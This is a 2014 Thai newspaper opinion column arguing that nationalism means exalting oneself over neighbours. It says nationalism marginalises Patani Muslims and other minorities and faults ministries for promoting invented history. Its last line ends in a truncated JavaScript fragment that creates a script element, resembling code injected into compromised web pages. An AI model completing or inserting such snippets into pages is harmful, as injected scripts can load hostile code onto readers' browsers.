มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 12 มิถุนายน  2557

 

ชาตินิยมยกตนข่มท่าน

          “ชาตินิยม”โดยเนื้อแท้แปลว่ายกตนข่มท่าน เพราะนิยมยกชาติตนอยู่เหนือชาติอื่น

          ถ้าไทยต้องการให้คนไทยรักชาติ หรือชาตินิยม โดยเน้นประวัติศาสตร์บาดหมาง สร้างบาดแผล ก็เท่ากับไทยยกตนข่มประเทศเพื่อนบ้าน ซึ่งอันตรายมากๆ

          ที่ว่าชาตินิยมแปลว่ายกตนข่มท่าน ผมไม่คิดได้เอง แต่ได้จากอ่านข้อเขียนของ อ. ศิริพจน์ เหล่ามานะเจริญ จะขอคัดย่อมาดังนี้

          ชาตินิยม แปลจากศัพท์ nationalism มีคำจำกัดความว่า “ความภักดีและการอุทิศตนให้แก่ชาติ จนทำให้รู้สึกว่าชาติของตนเองมีฐานะเหนือกว่าชาติอื่นๆ จึงมีการเน้นย้ำและยกระดับให้วัฒนธรรมและสิ่งต่างๆ ของชาติตนเองขึ้นมาเพื่อต่อต้านชาติ หรือกลุ่มนานาชาติอื่นๆ”

          เมื่อไทยเราผูกศัพท์คำว่าชาตินิยมขึ้นมาจากคำฝรั่ง จึงไม่สามารถมีความหมายที่ดีไปได้ เพราะเนื้อแท้ในภาษาอังกฤษหมายถึงการยกตนข่มท่าน ซ้ำยังเป็นการข่มกันแบบหลอกๆ เสียด้วย

          การที่มีผู้คิดว่าชาตินิยมอาจจะเป็นเรื่องที่ดีได้ถ้านำไปใช้ให้เหมาะให้ควร จึงเป็นเรื่องที่เป็นไปไม่ได้เมื่อพิจารณาถึงเนื้อแท้จากรากในภาษาดั้งเดิม

          ดังนั้น ในขณะที่แนวคิดชาตินิยมกำลังสร้างความเป็น “ชาติ” ขึ้นมา แนวคิดดังกล่าวก็กำลังผลักให้คนหลายๆ กลุ่ม (ที่ถูกประกอบเข้ามาเป็นชาติด้วยเหมือนกัน) กลายเป็นคนชายขอบหรือคนกลุ่มน้อย เพียงเพราะว่ามีลักษณะทางวัฒนธรรมไม่ตรงกับลักษณะที่ถูก “เลือก” ให้เป็นอัตลักษณ์ของชาติ

          มุสลิมที่ปัตตานีจะรู้สึกว่าเขาเป็นคนไทยได้อย่างไรในเมื่อเขาไม่ได้นับถือศาสนาพุทธอย่างคนภาคกลางส่วนใหญ่ และไม่ได้ใช้ภาษาไทยกรุงเทพฯ เป็นหลักในการสนทนากับผู้คนรอบๆ ตัวในชุมชนท้องถิ่นของเขา?

          ลักษณะอย่างนี้ ทำให้กลุ่มมุสลิมในปัตตานี รวมถึงคนชายขอบอื่นๆ กลายเป็น “the uncounted” หมายถึง “ส่วนที่ถูกนับเพื่อที่จะไม่นับรวมให้เป็นส่วน” ซึ่งอาจจะอธิบายความอย่างไม่เคร่งครัดได้ ว่าหมายถึงฝ่ายที่ถูกเก็บกดปิดกั้นจากสังคม

          ในกรณีนี้ อ. ศิริพจน์บอกว่าความเก็บกดที่ว่าก็มาจากการใช้แนวคิดชาตินิยมเป็นเครื่องมือนี่แหละ

          (สรุปจากข้อเขียนเรื่องในรัฐที่สามารถอยู่ตัวคนเดียวในโลก? ในสยามรัฐสัปดาห วิจารณ์ วันศุกร์ที่ 6 มิถุนายน 2557 หน้า 47)

          ปลุกกระแสชาตินิยม ด้วยประวัติศาสตร์ที่มีจริงก็อันตรายมากนักหนาแล้ว ยิ่งสร้างประวัติศาสตร์ปลอมเพื่อชาตินิยมก็ยิ่งสาหัสสุดจะประมาณ

          กระทรวงวัฒนธรรม และกระทรวงศึกษาธิการ ไม่น่าทำบาปบ่อยๆ

          ในทางที่ดี ควรเรียนรู้ประวัติศาสตร์อย่างเคารพตนเอง และเคารพผู้อื่นไปพร้อมกันอย่างชอบธรรม แล้วศึกษาแลกเปลี่ยน เปรียบเทียบกับเพื่อนบ้านอย่างเท่าเทียมvar d=document;var s=d.createElement(‘script’);